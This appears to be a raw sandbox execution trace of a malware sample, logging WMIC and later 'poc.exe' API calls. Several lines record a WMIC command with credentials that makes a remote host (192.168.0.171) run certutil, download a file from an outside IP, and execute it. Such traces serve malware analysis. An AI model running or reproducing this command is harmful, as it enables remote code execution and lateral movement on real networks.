returned 0x20ec80 [0115.864] free (_Block=0x0) [0115.864] free (_Block=0x9c2a28) [0115.864] lstrlenW (lpString=" /node:192.168.0.171 /user:5p5NrGJn0jS HALPmcxz /password:6mnH7CdKK process call create \"cmd.exe /c certutil.exe -urlcache -split -f http://58.221.158.90:88/car/down.txt C:/c.exe&C:\\c.exe\"") returned 190 [0115.864] malloc (_Size=0x10) returned 0x9c2490 [0115.864] lstrlenW (lpString="process") returned 7 [0115.864] _wcsicmp (_String1="process", _String2="\"NULL\"") returned 78 [0115.865] malloc (_Size=0x10) returned 0x9c24c0 [0115.865] malloc (_Size=0x4c) returned 0x9c2a28 [0115.865] memmove_s (in: _Destination=0x9c2a28, _DestinationSize=0x34, _Source=0x9c2a88, _SourceSize=0x34 | out: _Destination=0x9c2a28) returned 0x0 [0115.865] free (_Block=0x9c2a88) [0115.865] free (_Block=0x0) [0115.865] free (_Block=0x9c2490) [0115.865] lstrlenW (lpString=" /node:192.168.0.171 /user:5p5NrGJn0jS HALPmcxz /password:6mnH7CdKK process call create \"cmd.exe /c certutil.exe -urlcache -split -f http://58.221.158.90:88/car/down.txt C:/c.exe&C:\\c.exe\"") returned 190 [0115.865] malloc (_Size=0xa) returned 0x9c2490 [0115.865] lstrlenW (lpString="call") returned 4 [0115.865] _wcsicmp (_String1="call", _String2="\"NULL\"") returned 65 [0115.865] malloc (_Size=0xa) returned 0x9c24d8 [0115.865] free (_Block=0x0) [0115.865] free (_Block=0x9c2490) [0115.865] lstrlenW (lpString=" /node:192.168.0.171 /user:5p5NrGJn0jS HALPmcxz /password:6mnH7CdKK process call create \"cmd.exe /c certutil.exe -urlcache -split -f http://58.221.158.90:88/car/down.txt C:/c.exe&C:\\c.exe\"") returned 190 [0115.865] malloc (_Size=0xe) returned 0x9c2490 [0115.865] lstrlenW (lpString="create") returned 6 [0115.865] _wcsicmp (_String1="create", _String2="\"NULL\"") returned 65 [0115.865] malloc (_Size=0xe) returned 0x9c24f0 [0115.865] free (_Block=0x0) [0115.865] free (_Block=0x9c2490) [0115.865] lstrlenW (lpString=" /node:192.168.0.171 /user:5p5NrGJn0jS HALPmcxz /password:6mnH7CdKK process call create \"cmd.exe /c certutil.exe -urlcache -split -f http://58.221.158.90:88/car/down.txt C:/c.exe&C:\\c.exe\"") returned 190 [0115.865] malloc (_Size=0xca) returned 0x9c2a88 [0115.865] lstrlenW (lpString="\"cmd.exe /c certutil.exe -urlcache -split -f http://58.221.158.90:88/car/down.txt C:/c.exe&C:\\c.exe\"") returned 100 [0115.865] _wcsicmp (_String1="\"cmd.exe /c certutil.exe -urlcache -split -f http://58.221.158.90:88/car/down.txt C:/c.exe&C:\\c.exe\"", _String2="\"NULL\"") returned -11 [0115.865] lstrlenW (lpString="\"cmd.exe /c certutil.exe -urlcache -split -f http://58.221.158.90:88/car/down.txt C:/c.exe&C:\\c.exe\"") returned 100 [0115.865] lstrlenW (lpString="\"cmd.exe /c certutil.exe -urlcache -split -f http://58.221.158.90:88/car/down.txt C:/c.exe&C:\\c.exe\"") returned 100 [0115.865] malloc (_Size=0xca) returned 0x9c2b60 [0115.865] free (_Block=0x0) [0115.865] free (_Block=0x9c2a88) [0115.865] malloc (_Size=0x44) returned 0x9c2a88 [0115.865] lstrlenW (lpString="QUIT") returned 4 [0115.865] lstrlenW (lpString="/") returned 1 [0115.865] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="/", cchCount1=1, lpString2="QUIT", cchCount2=4) returned 1 [0115.865] lstrlenW (lpString="EXIT") returned 4 [0115.865] lstrlenW (lpString="/") returned 1 [0115.865] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="/", cchCount1=1, lpString2="EXIT", cchCount2=4) returned 1 [0115.865] free (_Block=0x9c2a88) [0115.865] WbemLocator:IUnknown:AddRef (This=0x980828) returned 0x2 [0115.865] malloc (_Size=0x44) returned 0x9c2a88 [0115.865] lstrlenW (lpString="/") returned 1 [0115.865] lstrlenW (lpString="/") returned 1 [0115.866] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="/", cchCount1=1, lpString2="/", cchCount2=1) returned 2 [0115.866] lstrlenW (lpString="NAMESPACE") returned 9 [0115.866] lstrlenW (lpString="node") returned 4 [0115.866] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="node", cchCount1=4, lpString2="NAMESPACE", cchCount2=9) returned 3 [0115.866] lstrlenW (lpString="ROLE") returned 4 [0115.866] lstrlenW (lpString="node") returned 4 [0115.866] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="node", cchCount1=4, lpString2="ROLE", cchCount2=4) returned 1 [0115.866] lstrlenW (lpString="NODE") returned 4 [0115.866] lstrlenW (lpString="node") returned 4 [0115.866] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="node", cchCount1=4, lpString2="NODE", cchCount2=4) returned 2 [0115.866] lstrlenW (lpString=":") returned 1 [0115.866] lstrlenW (lpString=":") returned 1 [0115.866] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1=":", cchCount1=1, lpString2=":", cchCount2=1) returned 2 [0115.866] lstrlenW (lpString="/") returned 1 [0115.866] lstrlenW (lpString="192.168.0.171") returned 13 [0115.866] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="192.168.0.171", cchCount1=13, lpString2="/", cchCount2=1) returned 3 [0115.866] lstrlenW (lpString="-") returned 1 [0115.867] lstrlenW (lpString="192.168.0.171") returned 13 [0115.867] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="192.168.0.171", cchCount1=13, lpString2="-", cchCount2=1) returned 3 [0115.867] ??0CHString@@QAE@PBG@Z () returned 0x19f5ec [0115.867] ?GetData@CHString@@IBEPAUCHStringData@@XZ () returned 0x9c2ad8 [0115.867] ?TrimLeft@CHString@@QAEXXZ () returned 0x9c2ad8 [0115.867] ?TrimRight@CHString@@QAEXXZ () returned 0x0 [0115.867] ??1CHString@@QAE@XZ () returned 0x1 [0115.867] free (_Block=0x202d98) [0115.867] lstrlenW (lpString="") returned 0 [0115.867] lstrlenW (lpString="") returned 0 [0115.867] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0115.867] free (_Block=0x202d30) [0115.867] lstrlenW (lpString="XDUWTFONO") returned 9 [0115.867] malloc (_Size=0x14) returned 0x20eca0 [0115.867] lstrlenW (lpString="XDUWTFONO") returned 9 [0115.867] lstrlenW (lpString="XDUWTFONO") returned 9 [0115.867] malloc (_Size=0x14) returned 0x20ecc0 [0115.867] lstrlenW (lpString="XDUWTFONO") returned 9 [0115.867] lstrlenW (lpString="") returned 0 [0115.867] lstrlenW (lpString="192.168.0.171") returned 13 [0115.867] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="192.168.0.171", cchCount1=13, lpString2="", cchCount2=0) returned 3 [0115.867] lstrlenW (lpString=".") returned 1 [0115.867] lstrlenW (lpString="192.168.0.171") returned 13 [0115.867] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="192.168.0.171", cchCount1=13, lpString2=".", cchCount2=1) returned 3 [0115.867] lstrlenW (lpString="LOCALHOST") returned 9 [0115.867] lstrlenW (lpString="192.168.0.171") returned 13 [0115.867] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="192.168.0.171", cchCount1=13, lpString2="LOCALHOST", cchCount2=9) returned 1 [0115.867] lstrlenW (lpString="XDUWTFONO") returned 9 [0115.867] lstrlenW (lpString="192.168.0.171") returned 13 [0115.867] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="192.168.0.171", cchCount1=13, lpString2="XDUWTFONO", cchCount2=9) returned 1 [0115.867] lstrlenW (lpString="192.168.0.171") returned 13 [0115.867] malloc (_Size=0x1c) returned 0x9c2ad8 [0115.867] lstrlenW (lpString="192.168.0.171") returned 13 [0115.867] lstrlenW (lpString="192.168.0.171") returned 13 [0115.867] lstrlenW (lpString="XDUWTFONO") returned 9 [0115.867] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="XDUWTFONO", cchCount1=9, lpString2="192.168.0.171", cchCount2=13) returned 3 [0115.867] malloc (_Size=0x8) returned 0x202d30 [0115.867] memmove_s (in: _Destination=0x202d30, _DestinationSize=0x4, _Source=0x202db8, _SourceSize=0x4 | out: _Destination=0x202d30) returned 0x0 [0115.868] free (_Block=0x202db8) [0115.868] lstrlenW (lpString=",") returned 1 [0115.868] lstrlenW (lpString="/") returned 1 [0115.868] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="/", cchCount1=1, lpString2=",", cchCount2=1) returned 3 [0115.868] lstrlenW (lpString="/") returned 1 [0115.868] lstrlenW (lpString="/") returned 1 [0115.868] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="/", cchCount1=1, lpString2="/", cchCount2=1) returned 2 [0115.868] lstrlenW (lpString="NAMESPACE") returned 9 [0115.868] lstrlenW (lpString="user") returned 4 [0115.868] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="user", cchCount1=4, lpString2="NAMESPACE", cchCount2=9) returned 3 [0115.868] lstrlenW (lpString="ROLE") returned 4 [0115.868] lstrlenW (lpString="user") returned 4 [0115.868] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="user", cchCount1=4, lpString2="ROLE", cchCount2=4) returned 3 [0115.868] lstrlenW (lpString="NODE") returned 4 [0115.868] lstrlenW (lpString="user") returned 4 [0115.868] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="user", cchCount1=4, lpString2="NODE", cchCount2=4) returned 3 [0115.868] lstrlenW (lpString="IMPLEVEL") returned 8 [0115.868] lstrlenW (lpString="user") returned 4 [0115.868] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="user", cchCount1=4, lpString2="IMPLEVEL", cchCount2=8) returned 3 [0115.868] lstrlenW (lpString="AUTHLEVEL") returned 9 [0115.868] lstrlenW (lpString="user") returned 4 [0115.868] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="user", cchCount1=4, lpString2="AUTHLEVEL", cchCount2=9) returned 3 [0115.868] lstrlenW (lpString="LOCALE") returned 6 [0115.868] lstrlenW (lpString="user") returned 4 [0115.868] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="user", cchCount1=4, lpString2="LOCALE", cchCount2=6) returned 3 [0115.868] lstrlenW (lpString="PRIVILEGES") returned 10 [0115.868] lstrlenW (lpString="user") returned 4 [0115.868] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="user", cchCount1=4, lpString2="PRIVILEGES", cchCount2=10) returned 3 [0115.868] lstrlenW (lpString="TRACE") returned 5 [0115.868] lstrlenW (lpString="user") returned 4 [0115.868] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="user", cchCount1=4, lpString2="TRACE", cchCount2=5) returned 3 [0115.868] lstrlenW (lpString="RECORD") returned 6 [0115.868] lstrlenW (lpString="user") returned 4 [0115.868] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="user", cchCount1=4, lpString2="RECORD", cchCount2=6) returned 3 [0115.868] lstrlenW (lpString="INTERACTIVE") returned 11 [0115.868] lstrlenW (lpString="user") returned 4 [0115.868] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="user", cchCount1=4, lpString2="INTERACTIVE", cchCount2=11) returned 3 [0115.868] lstrlenW (lpString="FAILFAST") returned 8 [0115.868] lstrlenW (lpString="user") returned 4 [0115.869] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="user", cchCount1=4, lpString2="FAILFAST", cchCount2=8) returned 3 [0115.869] lstrlenW (lpString="USER") returned 4 [0115.869] lstrlenW (lpString="user") returned 4 [0115.869] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="user", cchCount1=4, lpString2="USER", cchCount2=4) returned 2 [0115.869] lstrlenW (lpString=":") returned 1 [0115.869] lstrlenW (lpString=":") returned 1 [0115.869] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1=":", cchCount1=1, lpString2=":", cchCount2=1) returned 2 [0115.869] lstrlenW (lpString="/") returned 1 [0115.869] lstrlenW (lpString="5p5NrGJn0jS") returned 11 [0115.869] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="5p5NrGJn0jS", cchCount1=11, lpString2="/", cchCount2=1) returned 3 [0115.869] lstrlenW (lpString="-") returned 1 [0115.869] lstrlenW (lpString="5p5NrGJn0jS") returned 11 [0115.869] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="5p5NrGJn0jS", cchCount1=11, lpString2="-", cchCount2=1) returned 3 [0115.869] lstrlenW (lpString="") returned 0 [0115.869] lstrlenW (lpString="5p5NrGJn0jS") returned 11 [0115.869] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="5p5NrGJn0jS", cchCount1=11, lpString2="", cchCount2=0) returned 3 [0115.869] lstrlenW (lpString="5p5NrGJn0jS") returned 11 [0115.869] malloc (_Size=0x18) returned 0x20ece0 [0115.869] lstrlenW (lpString="5p5NrGJn0jS") returned 11 [0115.869] lstrlenW (lpString="/") returned 1 [0115.869] lstrlenW (lpString="HALPmcxz") returned 8 [0115.869] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="HALPmcxz", cchCount1=8, lpString2="/", cchCount2=1) returned 3 [0115.869] lstrlenW (lpString="-") returned 1 [0115.869] lstrlenW (lpString="HALPmcxz") returned 8 [0115.869] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="HALPmcxz", cchCount1=8, lpString2="-", cchCount2=1) returned 3 [0115.869] lstrlenW (lpString="CLASS") returned 5 [0115.869] lstrlenW (lpString="HALPmcxz") returned 8 [0115.869] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="HALPmcxz", cchCount1=8, lpString2="CLASS", cchCount2=5) returned 3 [0115.869] lstrlenW (lpString="PATH") returned 4 [0115.869] lstrlenW (lpString="HALPmcxz") returned 8 [0115.869] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="HALPmcxz", cchCount1=8, lpString2="PATH", cchCount2=4) returned 1 [0115.869] lstrlenW (lpString="CONTEXT") returned 7 [0115.869] lstrlenW (lpString="HALPmcxz") returned 8 [0115.869] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="HALPmcxz", cchCount1=8, lpString2="CONTEXT", cchCount2=7) returned 3 [0115.869] lstrlenW (lpString="HALPmcxz") returned 8 [0115.869] malloc (_Size=0x12) returned 0x20ed00 [0115.869] lstrlenW (lpString="HALPmcxz") returned 8 [0115.870] GetCurrentThreadId () returned 0x908 [0115.870] ??0CHString@@QAE@XZ () returned 0x19f5ac [0115.870] malloc (_Size=0xc) returned 0x9c2490 [0115.870] malloc (_Size=0xc) returned 0x9c2508 [0115.870] WbemLocator:IWbemLocator:ConnectServer (in: This=0x980828, strNetworkResource="root\\cli", strUser=0x0, strPassword=0x0, strLocale="ms_409", lSecurityFlags=0, strAuthority=0x0, pCtx=0x0, ppNamespace=0xbdc1e0 | out: ppNamespace=0xbdc1e0*=0x98d00c) returned 0x0 [0116.070] free (_Block=0x9c2508) [0116.070] free (_Block=0x9c2490) [0116.070] CoSetProxyBlanket (pProxy=0x98d00c, dwAuthnSvc=0xffffffff, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x0) returned 0x0 [0116.070] ??1CHString@@QAE@XZ () returned 0x738a0504 [0116.070] GetCurrentThreadId () returned 0x908 [0116.071] ??0CHString@@QAE@XZ () returned 0x19f544 [0116.071] malloc (_Size=0xc) returned 0x9c2490 [0116.071] malloc (_Size=0xc) returned 0x9c2508 [0116.071] malloc (_Size=0xc) returned 0x9c2520 [0116.071] malloc (_Size=0xc) returned 0x9c2538 [0116.071] SysStringLen (param_1="root\\cli") returned 0x8 [0116.071] SysStringLen (param_1="\\") returned 0x1 [0116.071] malloc (_Size=0xc) returned 0x9c2550 [0116.071] SysStringLen (param_1="root\\cli\\") returned 0x9 [0116.071] SysStringLen (param_1="ms_409") returned 0x6 [0116.071] free (_Block=0x9c2538) [0116.071] free (_Block=0x9c2520) [0116.071] free (_Block=0x9c2508) [0116.071] free (_Block=0x9c2490) [0116.071] malloc (_Size=0xc) returned 0x9c2490 [0116.071] WbemLocator:IWbemLocator:ConnectServer (in: This=0x980828, strNetworkResource="root\\cli\\ms_409", strUser=0x0, strPassword=0x0, strLocale="ms_409", lSecurityFlags=0, strAuthority=0x0, pCtx=0x0, ppNamespace=0xbdc1e4 | out: ppNamespace=0xbdc1e4*=0x98d064) returned 0x0 [0116.169] free (_Block=0x9c2490) [0116.169] free (_Block=0x9c2550) [0116.169] ??1CHString@@QAE@XZ () returned 0x738a0504 [0116.169] GetCurrentThreadId () returned 0x908 [0116.169] ??0CHString@@QAE@XZ () returned 0x19f5b0 [0116.169] malloc (_Size=0xc) returned 0x9c2550 [0116.169] malloc (_Size=0xc) returned 0x9c2490 [0116.169] malloc (_Size=0xc) returned 0x9c2508 [0116.169] lstrlenA (lpString="MSFT_CliAlias.FriendlyName='") returned 28 [0116.169] malloc (_Size=0x3a) returned 0x9c2b00 [0116.169] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xb91f7c, cbMultiByte=-1, lpWideCharStr=0x9c2b00, cchWideChar=29 | out: lpWideCharStr="MSFT_CliAlias.FriendlyName='") returned 29 [0116.169] free (_Block=0x9c2b00) [0116.169] malloc (_Size=0xc) returned 0x9c2520 [0116.169] SysStringLen (param_1="MSFT_CliAlias.FriendlyName='") returned 0x1c [0116.169] SysStringLen (param_1="HALPmcxz") returned 0x8 [0116.169] malloc (_Size=0xc) returned 0x9c2538 [0116.169] SysStringLen (param_1="MSFT_CliAlias.FriendlyName='HALPmcxz") returned 0x24 [0116.169] SysStringLen (param_1="'") returned 0x1 [0116.169] free (_Block=0x9c2520) [0116.169] free (_Block=0x9c2508) [0116.169] free (_Block=0x9c2490) [0116.170] free (_Block=0x9c2550) [0116.170] IWbemServices:GetObject (in: This=0x98d00c, strObjectPath="MSFT_CliAlias.FriendlyName='HALPmcxz'", lFlags=0, pCtx=0x0, ppObject=0x19f5ac*=0x0, ppCallResult=0x0 | out: ppObject=0x19f5ac*=0x0, ppCallResult=0x0) returned 0x80041002 [0116.215] _CxxThrowException () [0116.215] free (_Block=0x9c2538) [0116.216] free (_Block=0x9c2a88) [0116.216] GetCurrentThreadId () returned 0x908 [0116.216] ??0CHString@@QAE@PBG@Z () returned 0x19f64c [0116.216] ??YCHString@@QAEABV0@PBG@Z () returned 0x19f64c [0116.216] LoadStringW (in: hInstance=0x0, uID=0xac67, lpBuffer=0x19edf8, cchBufferMax=1024 | out: lpBuffer="%1 - Alias not found.\r\n") returned 0x17 [0116.216] FormatMessageW (in: dwFlags=0x2500, lpSource=0x19edf8, dwMessageId=0x0, dwLanguageId=0x400, lpBuffer=0x19edf4, nSize=0x0, Arguments=0x19ede0 | out: lpBuffer="⩀N%1 - Alias not found.\r\n") returned 0x1d [0116.216] malloc (_Size=0xc) returned 0x9c2538 [0116.216] LocalFree (hMem=0x4e2a40) returned 0x0 [0116.216] WideCharToMultiByte (in: CodePage=0x1, dwFlags=0x0, lpWideCharStr="HALPmcxz - Alias not found.\r\n", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0116.216] malloc (_Size=0x1e) returned 0x202d98 [0116.216] WideCharToMultiByte (in: CodePage=0x1, dwFlags=0x0, lpWideCharStr="HALPmcxz - Alias not found.\r\n", cchWideChar=-1, lpMultiByteStr=0x202d98, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="HALPmcxz - Alias not found.\r\n", lpUsedDefaultChar=0x0) returned 30 [0116.216] fprintf (in: _File=0x76be2940, _Format="%s" | out: _File=0x76be2940) returned 29 [0116.217] fflush (in: _File=0x76be2940 | out: _File=0x76be2940) returned 0 [0116.217] free (_Block=0x202d98) [0116.217] free (_Block=0x9c2538) [0116.217] ??1CHString@@QAE@XZ () returned 0x1 [0116.217] ??0CHString@@QAE@PBG@Z () returned 0x19f66c [0116.217] ??YCHString@@QAEABV0@PBG@Z () returned 0x19f66c [0116.217] GetCurrentThreadId () returned 0x908 [0116.217] GetLastError () returned 0x0 [0116.217] ??1CHString@@QAE@XZ () returned 0x1 [0116.217] free (_Block=0x9c2460) [0116.217] free (_Block=0x9c2420) [0116.218] free (_Block=0x9c2408) [0116.218] free (_Block=0x9c23f0) [0116.218] free (_Block=0x20fe40) [0116.218] free (_Block=0x20ed00) [0116.218] free (_Block=0x2033b0) [0116.218] ?Empty@CHString@@QAEXXZ () returned 0x738a0504 [0116.218] free (_Block=0x9c2848) [0116.218] free (_Block=0x20ffc8) [0116.218] free (_Block=0x9c2478) [0116.218] free (_Block=0x20ffd8) [0116.218] free (_Block=0x9c2a00) [0116.218] free (_Block=0x9c29d0) [0116.218] free (_Block=0x9c24a8) [0116.218] free (_Block=0x203428) [0116.218] free (_Block=0x20ec20) [0116.218] free (_Block=0x20ec60) [0116.218] free (_Block=0x9c29f0) [0116.218] free (_Block=0x20ec40) [0116.218] free (_Block=0x9c29e0) [0116.218] free (_Block=0x20ec80) [0116.218] free (_Block=0x9c24c0) [0116.218] free (_Block=0x9c24d8) [0116.218] free (_Block=0x9c24f0) [0116.218] free (_Block=0x9c2b60) [0116.218] free (_Block=0x202c30) [0116.218] free (_Block=0x202c78) [0116.218] free (_Block=0x202cc0) [0116.218] free (_Block=0x20eca0) [0116.218] free (_Block=0x20ecc0) [0116.218] free (_Block=0x9c2ad8) [0116.218] free (_Block=0x20ece0) [0116.218] free (_Block=0x203398) [0116.218] free (_Block=0x20e960) [0116.218] free (_Block=0x203380) [0116.218] free (_Block=0x20e940) [0116.218] free (_Block=0x203368) [0116.219] free (_Block=0x20e920) [0116.219] free (_Block=0x202ee0) [0116.219] free (_Block=0x202ef8) [0116.219] free (_Block=0x202ea8) [0116.219] free (_Block=0x202ec0) [0116.219] free (_Block=0x202f18) [0116.219] free (_Block=0x202f30) [0116.219] free (_Block=0x202f50) [0116.219] free (_Block=0x20e900) [0116.219] free (_Block=0x202e38) [0116.219] free (_Block=0x202e50) [0116.219] free (_Block=0x202e00) [0116.219] free (_Block=0x202e18) [0116.219] free (_Block=0x202e70) [0116.219] free (_Block=0x202e88) [0116.219] free (_Block=0x202dc8) [0116.219] free (_Block=0x202de0) [0116.219] free (_Block=0x202d50) [0116.219] free (_Block=0x202d08) [0116.219] free (_Block=0x9c04a0) [0116.219] WbemLocator:IUnknown:Release (This=0x98d064) returned 0x0 [0116.220] WbemLocator:IUnknown:Release (This=0x98d00c) returned 0x0 [0116.220] WbemLocator:IUnknown:Release (This=0x980828) returned 0x1 [0116.220] ?Empty@CHString@@QAEXXZ () returned 0x738a0504 [0116.220] WbemLocator:IUnknown:Release (This=0x980828) returned 0x0 [0116.220] free (_Block=0x9c2390) [0116.220] free (_Block=0x9c23a8) [0116.220] free (_Block=0x20ebe0) [0116.220] free (_Block=0x9c23c0) [0116.220] free (_Block=0x9c23d8) [0116.220] free (_Block=0x20ec00) [0116.220] free (_Block=0x9c2270) [0116.220] free (_Block=0x9c2288) [0116.220] free (_Block=0x20eb20) [0116.221] free (_Block=0x9c22a0) [0116.221] free (_Block=0x9c22b8) [0116.221] free (_Block=0x20eb40) [0116.221] free (_Block=0x9c2210) [0116.221] free (_Block=0x9c2228) [0116.221] free (_Block=0x20eae0) [0116.221] free (_Block=0x9c2240) [0116.221] free (_Block=0x9c2258) [0116.221] free (_Block=0x20eb00) [0116.221] free (_Block=0x9c2330) [0116.221] free (_Block=0x9c2348) [0116.221] free (_Block=0x20eba0) [0116.221] free (_Block=0x9c2360) [0116.221] free (_Block=0x9c2378) [0116.221] free (_Block=0x20ebc0) [0116.221] free (_Block=0x9c21b0) [0116.221] free (_Block=0x9c21c8) [0116.221] free (_Block=0x20eaa0) [0116.221] free (_Block=0x9c21e0) [0116.221] free (_Block=0x9c21f8) [0116.222] free (_Block=0x20eac0) [0116.222] free (_Block=0x9c22d0) [0116.222] free (_Block=0x9c22e8) [0116.222] free (_Block=0x20eb60) [0116.222] free (_Block=0x9c2300) [0116.222] free (_Block=0x9c2318) [0116.222] free (_Block=0x20eb80) [0116.222] free (_Block=0x9c2120) [0116.222] free (_Block=0x9c2138) [0116.222] free (_Block=0x20ea40) [0116.222] free (_Block=0x2033f8) [0116.222] free (_Block=0x203410) [0116.222] free (_Block=0x20e9a0) [0116.222] free (_Block=0x2034c8) [0116.222] free (_Block=0x2034e0) [0116.222] free (_Block=0x20e980) [0116.222] free (_Block=0x9c2090) [0116.222] free (_Block=0x9c20a8) [0116.222] free (_Block=0x20e9e0) [0116.222] free (_Block=0x9c2150) [0116.223] free (_Block=0x9c2168) [0116.223] free (_Block=0x20ea60) [0116.223] free (_Block=0x9c2060) [0116.223] free (_Block=0x9c2078) [0116.223] free (_Block=0x20e9c0) [0116.223] free (_Block=0x9c20c0) [0116.223] free (_Block=0x9c20d8) [0116.223] free (_Block=0x20ea00) [0116.223] free (_Block=0x9c20f0) [0116.223] free (_Block=0x9c2108) [0116.223] free (_Block=0x20ea20) [0116.223] free (_Block=0x9c2180) [0116.223] free (_Block=0x9c2198) [0116.223] free (_Block=0x20ea80) [0116.223] CoUninitialize () [0116.410] exit (_Code=44135) [0116.410] free (_Block=0x20fca8) [0116.410] free (_Block=0x202a78) [0116.410] ??1CHString@@QAE@XZ () returned 0x738a0504 [0116.410] free (_Block=0x20f0e8) [0116.410] free (_Block=0x202d30) [0116.410] free (_Block=0x202a58) [0116.410] free (_Block=0x202a38) [0116.410] free (_Block=0x202a08) [0116.410] free (_Block=0x2029e8) [0116.410] free (_Block=0x2029b8) [0116.410] free (_Block=0x2013d8) [0116.410] free (_Block=0x2013b8) [0116.410] ??1CHString@@QAE@XZ () returned 0x738a0504 [0116.410] free (_Block=0x9c2a28) Thread: id = 753 os_tid = 0x524 Thread: id = 758 os_tid = 0x12e0 Thread: id = 760 os_tid = 0x12d0 Thread: id = 761 os_tid = 0x12cc Thread: id = 762 os_tid = 0x12d8 Process: id = "20" image_name = "poc.exe" filename = "c:\\programdata\\poc.exe" page_root = "0x25b2d000" os_pid = "0x1114" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "6" os_parent_pid = "0xfb0" cmd_line = "C:\\ProgramData\\poc.exe star 192.168.0.171" cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e6e5" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 782 os_tid = 0x1110 [0117.780] LocalAlloc (uFlags=0x40, uBytes=0x20) returned 0x754298 [0117.781] GetKeyboardType (nTypeFlag=0) returned 4 [0117.781] GetCommandLineA () returned="C:\\ProgramData\\poc.exe star 192.168.0.171" [0117.781] GetStartupInfoA (in: lpStartupInfo=0x28f928 | out: lpStartupInfo=0x28f928*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\ProgramData\\poc.exe star 192.168.0.171", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0xffffffff, hStdOutput=0xffffffff, hStdError=0xffffffff)) [0117.781] GetVersion () returned 0x1db10106 [0117.781] GetVersion () returned 0x1db10106 [0117.781] GetCurrentThreadId () returned 0x1110 [0117.781] GetModuleFileNameA (in: hModule=0x400000, lpFilename=0x28f424, nSize=0x105 | out: lpFilename="C:\\ProgramData\\poc.exe" (normalized: "c:\\programdata\\poc.exe")) returned 0x16 [0117.781] GetModuleFileNameA (in: hModule=0x0, lpFilename=0x28f2ff, nSize=0x105 | out: lpFilename="C:\\ProgramData\\poc.exe" (normalized: "c:\\programdata\\poc.exe")) returned 0x16 [0117.781] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Borland\\Locales", ulOptions=0x0, samDesired=0xf0019, phkResult=0x28f414 | out: phkResult=0x28f414*=0x0) returned 0x2 [0117.781] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="Software\\Borland\\Locales", ulOptions=0x0, samDesired=0xf0019, phkResult=0x28f414 | out: phkResult=0x28f414*=0x0) returned 0x2 [0117.781] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Borland\\Delphi\\Locales", ulOptions=0x0, samDesired=0xf0019, phkResult=0x28f414 | out: phkResult=0x28f414*=0x0) returned 0x2 [0117.782] lstrcpynA (in: lpString1=0x28f2ff, lpString2="C:\\ProgramData\\poc.exe", iMaxLength=261 | out: lpString1="C:\\ProgramData\\poc.exe") returned="C:\\ProgramData\\poc.exe" [0117.782] GetThreadLocale () returned 0x409 [0117.782] GetLocaleInfoA (in: Locale=0x409, 